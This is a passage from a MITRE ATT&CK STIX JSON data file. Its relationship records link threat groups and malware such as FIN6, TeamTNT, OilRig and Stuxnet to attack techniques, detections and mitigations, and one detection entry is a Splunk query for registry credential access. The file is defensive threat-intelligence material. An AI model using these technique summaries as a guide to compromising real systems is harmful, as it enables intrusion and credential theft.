LSA)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Graeber 2014","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"},{"source_name":"Microsoft Configure LSA","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6cb7440-c39c-4bc2-b30e-5264a7f8753c","type":"relationship","created":"2020-10-09T14:23:34.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro FIN6 October 2019","url":"https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html","description":"Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."}],"modified":"2020-10-09T14:23:34.744Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit Bind and Reverse TCP stagers.(Citation: Trend Micro FIN6 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6cee2d3-becd-409f-b5e8-00e7ae991845","type":"relationship","created":"2021-01-08T21:25:33.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."},{"source_name":"Proofpoint NETWIRE December 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}],"modified":"2021-01-12T18:40:26.317Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to communicate over HTTP.(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2020-03-18T15:52:51.127Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory CSIDL_APPDATA\\microsoft\\security.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6d72bc4-c8d7-48b3-96c3-84a9810333d2","type":"relationship","created":"2020-05-15T15:04:34.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:28:38.347Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has the capability to upload collected files to a C2.(Citation: FOX-IT May 2016 Mofang)\t","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6dcaa34-12d9-45f3-8f7b-397c2da0995a","type":"relationship","created":"2021-03-02T16:42:09.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-02T16:42:09.492Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has the functionality to delete shadow copies.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6ddaace-75b2-4ff0-bb94-751095d6a357","type":"relationship","created":"2020-05-11T22:12:28.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.278Z","description":"[MESSAGETAP](https://attack.mitre.org/software/S0443) has XOR-encrypted and stored contents of SMS messages that matched its target list. (Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6de484e-a1f6-43cb-a506-ec4888e69bdd","created":"2022-09-16T16:37:27.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:29:51.435Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used XOR-encrypted payloads.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6e1026a-a33e-46a3-832e-ff9b36d52c07","created":"2021-10-01T01:57:31.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Aqua TeamTNT August 2020","description":"Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.","url":"https://blog.aquasec.com/container-security-tnt-container-attack"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.716Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has added RSA keys in authorized_keys.(Citation: Aqua TeamTNT August 2020)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6e40826-7af0-4e4e-96c3-28493abda6c7","type":"relationship","created":"2017-05-31T21:33:27.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html","description":"Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.","source_name":"Haq 2014"}],"modified":"2019-03-25T14:26:03.443Z","description":"(Citation: Haq 2014)","relationship_type":"uses","source_ref":"intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6e43621-ca4a-475f-b81c-037a0878728b","type":"relationship","created":"2017-05-31T21:33:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2021-11-02T21:06:31.911Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) used [PowerSploit](https://attack.mitre.org/software/S0194) to download payloads, run a reverse shell, and execute malware on the victim's machine.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6f20ae9-c2ca-4b60-ab03-5c0a8023fba7","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6f3c818-929f-43d8-8888-fba25dff7b1c","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T18:00:11.975Z","description":"Monitor for unexpected windows registry key being accessed that may search the Registry on compromised systems for insecurely stored credentials.\n\nAnalytic 1 - Unauthorized access to registry keys associated with credentials.\n\n ndex=security sourcetype=\"WinEventLog:Microsoft-Windows-Security-Auditing\" EventCode=4663 ObjectType=\"Registry\" (ObjectName=\"*password*\" OR ObjectName=\"*credential*\")\n| eval AccessType=case(\n AccessMask=\"0x1\", \"Read\",\n AccessMask=\"0x2\", \"Write\",\n AccessMask=\"0x3\", \"Read/Write\",\n AccessMask=\"0x4\", \"Delete\",\n true(), \"Unknown\"\n)","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6fb17bf-df52-4eff-b669-c5b77c13e26c","type":"relationship","created":"2021-04-12T19:26:30.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.347Z","description":"(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Recorded Future REDDELTA July 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d70231db-83cd-4ffe-895d-9614200bf0ae","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for changes made to pods for unexpected modifications to settings and/or control data that may deploy a container into an environment to facilitate execution or evade defenses.","source_ref":"x-mitre-data-component--672b2ebd-4310-4efe-bf03-7ab005298a74","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d704a927-fe82-4e17-85e9-55009860bd13","type":"relationship","created":"2021-04-13T20:27:51.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:51.726Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used junk code within their DLL files to hinder analysis.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d70530d5-b733-4b5a-9589-9f6a16670ed2","created":"2020-12-29T16:20:59.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:14:07.781Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) uses the SetSecurityDescriptorDacl API to reduce object integrity levels.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d705df92-50a0-4810-a893-979f73c6cdc8","created":"2019-08-26T17:00:30.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:43:08.997Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d70ae3e8-39e2-4835-9ba6-56dee8d028fc","type":"relationship","created":"2020-07-01T21:05:18.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.396Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) can execute JavaScript by injecting it into the victim's browser.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d71ad22f-7e01-4140-9080-bce4ae880880","created":"2023-06-20T18:35:01.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-29T20:10:24.663Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can intercept the first client to server packet in the 3-way TCP handshake to determine if the packet contains the correct unique value for a specific [Uroburos](https://attack.mitre.org/software/S0022) implant. If the value does not match, the packet and the rest of the TCP session are passed to the legitimate listening application.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d71e8cf0-c181-46d8-b152-3ea2d4d218d6","created":"2022-03-30T14:26:51.858Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly executed processes that may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.","modified":"2022-04-25T19:37:21.230Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d723027c-349b-48f8-af77-808ee2f7d92f","created":"2023-02-08T20:33:11.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 Fake W2 July 2024","description":"Elkins, T. (2024, July 24). Malware Campaign Lures Users With Fake W2 Form. Retrieved September 13, 2024.","url":"https://www.rapid7.com/blog/post/2024/07/24/malware-campaign-lures-users-with-fake-w2-form/"},{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T15:39:29.759Z","description":"\n[Brute Ratel C4](https://attack.mitre.org/software/S1063) can download files to compromised hosts.(Citation: Palo Alto Brute Ratel July 2022)(Citation: Rapid7 Fake W2 July 2024)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d729c871-d15b-4213-a492-b44fc1e96328","type":"relationship","created":"2020-02-19T20:36:33.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-22T20:20:14.953Z","description":"Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d732d146-4665-4165-89c3-f2db0b4ca61b","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d735ffe8-2868-432a-8865-7b3bc64d3d0c","created":"2024-03-13T21:13:19.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Segurança Informática URSA Sophisticated Loader 2020","description":"Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.","url":"https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:13:30.960Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) contains a copy of the OpenSSL library to encrypt C2 traffic.(Citation: Segurança Informática URSA Sophisticated Loader 2020) ","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d736ba76-c58b-4010-865e-68cd67fae4bf","created":"2022-02-02T21:32:07.064Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gemini FIN7 Oct 2021","url":"https://geminiadvisory.io/fin7-ransomware-bastion-secure/","description":"Gemini Advisory. (2021, October 21). FIN7 Recruits Talent For Push Into Ransomware. Retrieved February 2, 2022."},{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)","modified":"2022-04-05T17:26:47.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d738cc0a-6d6f-41d9-88d0-9fe83bacad55","created":"2022-01-05T16:06:56.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., 